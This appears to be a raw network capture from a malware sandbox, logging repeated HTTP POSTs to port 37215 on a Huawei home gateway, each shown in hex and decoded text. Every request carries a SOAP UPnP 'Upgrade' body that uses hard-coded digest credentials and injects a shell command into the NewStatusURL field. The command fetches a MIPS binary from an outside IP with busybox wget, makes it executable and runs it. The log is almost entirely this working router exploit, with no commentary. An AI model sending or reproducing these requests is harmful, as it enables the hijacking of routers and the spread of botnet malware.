55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:01.890458107 CET	2159	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:40.796947956 CET	3222	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.23	49020	156.253.35.168	37215

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:16:27.953375101 CET	1252	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:32.198329926 CET	1347	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:38.341568947 CET	1511	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:50.371891022 CET	1820	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:16.228216887 CET	2574	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	156.253.35.168	37215	192.168.2.23	49020

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:16:27.953375101 CET	1252	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:32.198329926 CET	1347	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
